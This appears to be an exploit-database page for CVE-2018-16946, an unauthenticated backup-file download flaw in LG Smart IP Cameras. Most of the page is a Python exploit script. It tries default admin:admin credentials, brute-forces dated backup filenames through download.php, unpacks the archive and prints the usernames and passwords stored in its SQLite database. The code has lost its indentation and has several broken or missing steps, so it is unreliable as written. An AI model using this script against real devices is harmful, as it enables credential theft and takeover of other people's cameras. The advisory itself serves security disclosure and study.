LG Smart IP Camera 1508190 File Disclosure

LG Smart IP Camera versions 1310250 through 1508190 suffer from a backup file download vulnerability.

MD5 | 69ac27e71909aaf59d9fd8fed6733f2f

# Exploit Title: LG Smart IP Camera 1508190 - Backup File Download
# Date: 2018-09-11
# Exploit Author: Ege Balci
# Vendor Homepage: https://www.lg.com
# Software version: 1310250 <= 1508190
# Model: LNB*/LND*/LNU*/LNV*
# CVE: CVE-2018-16946

# Description: smart network camera devices have broken access control. Attackers are able to
# download /updownload/t.report (aka Log & Report) files and download backup files (via download.php)
# without authenticating. These backup files contain user credentials and configuration information for
# the camera device. An attacker is able to discover the backup filename via reading the system logs or
# report data, or just by brute-forcing the backup filename pattern. It may be possible to authenticate
# to the admin account with the admin password.

# lg_smart_ip.py


import os
import sys
import sqlite3
import tarfile
import requests
import datetime
import threading

if len(sys.argv) < 2:
print("Usage:\n\t"+sys.argv[0]+" <TARGET-URL>")

print("# Exploit Title: LG Smart IP Device Backup Download")
print("# Date: 09-11-2018")
print("# Exploit Author: Ege BalcAA+-")
print("# Vendor Homepage: https://www.lg.com")
print("# Model: LNB*/LND*/LNU*/LNV*")
print("# CVE: CVE-2018-16946")

model_version_list = ["2219.0.0.1505220","2745.0.0.1508190","1954.0.0.1410150", "1030.0.0.1310250"]

# First try the default login creds...
headers = {'Authorization': 'Basic YWRtaW46YWRtaW4='}
default = requests.get(sys.argv[1]+"/httpapi?GetDeviceInformation", headers=headers)
if "Model:" in default.text:
print("[+] Default password works (admin:admin)")
# exit(0)

def brute(model_version):
date = datetime.datetime.now()
u = (['\\','|','/','-'])

for i in range(0,3650): # No need to go back futher these cameras didn't existed 10 years ago
sys.stdout.write("\r[*] Bruteforing backup date...{0}".format(u[i%4]))

log_date = date.strftime("%y")
log_date += date.strftime("%m")
log_date += date.strftime("%d")

url = "/download.php?file="
backup_name = "backup_"
backup_name += log_date
backup_name += "_"+model_version+".config"

ContentLength = requests.head(sys.argv[1]+url+backup_name,stream=True).headers["Content-Length"]
if ContentLength != "":
backup = requests.get(sys.argv[1]+url+backup_name)
print("\n[+] Backup file found !")
print("[+] "+backup_name+" -> "+str(len(backup.content))+"\n")
backup_file = open(backup_name+".tar.gz","wb")
tar = tarfile.open(str(backup_name+".tar.gz"),mode="r:gz")
for member in tar.getnames():
# Print contents of every file
print("[>] "+member)
mem = open(member,"wb")

conn = sqlite3.connect('mipsca.db')
c = conn.cursor()
users = c.execute("SELECT * FROM User")
print("#=============== SUCCESS ===============#")
for u in users:
print("\n[#] Username: "+u[0])
print("[#] Password: "+u[1])
os.system("rm mipsca.db ConfigInfo.txt "+ backup_name+".tar.gz")
date = (date-datetime.timedelta(days=1))

report = requests.get(sys.argv[1]+"/updownload/t.report",verify=False)
if report.status_code != 200:
print("[-] Target device don't have report data :(")
jobs = []
for mv in model_version_list:
t = threading.Thread(target=brute(mv))

for j in jobs:
model_id = (((report.text.split("= "))[1]).split("\n"))[0]
print("[+] Model ID: "+model_id)
version = (((report.text.split("= "))[2]).split("\n"))[0]
print("[+] Version: "+version)

Related Posts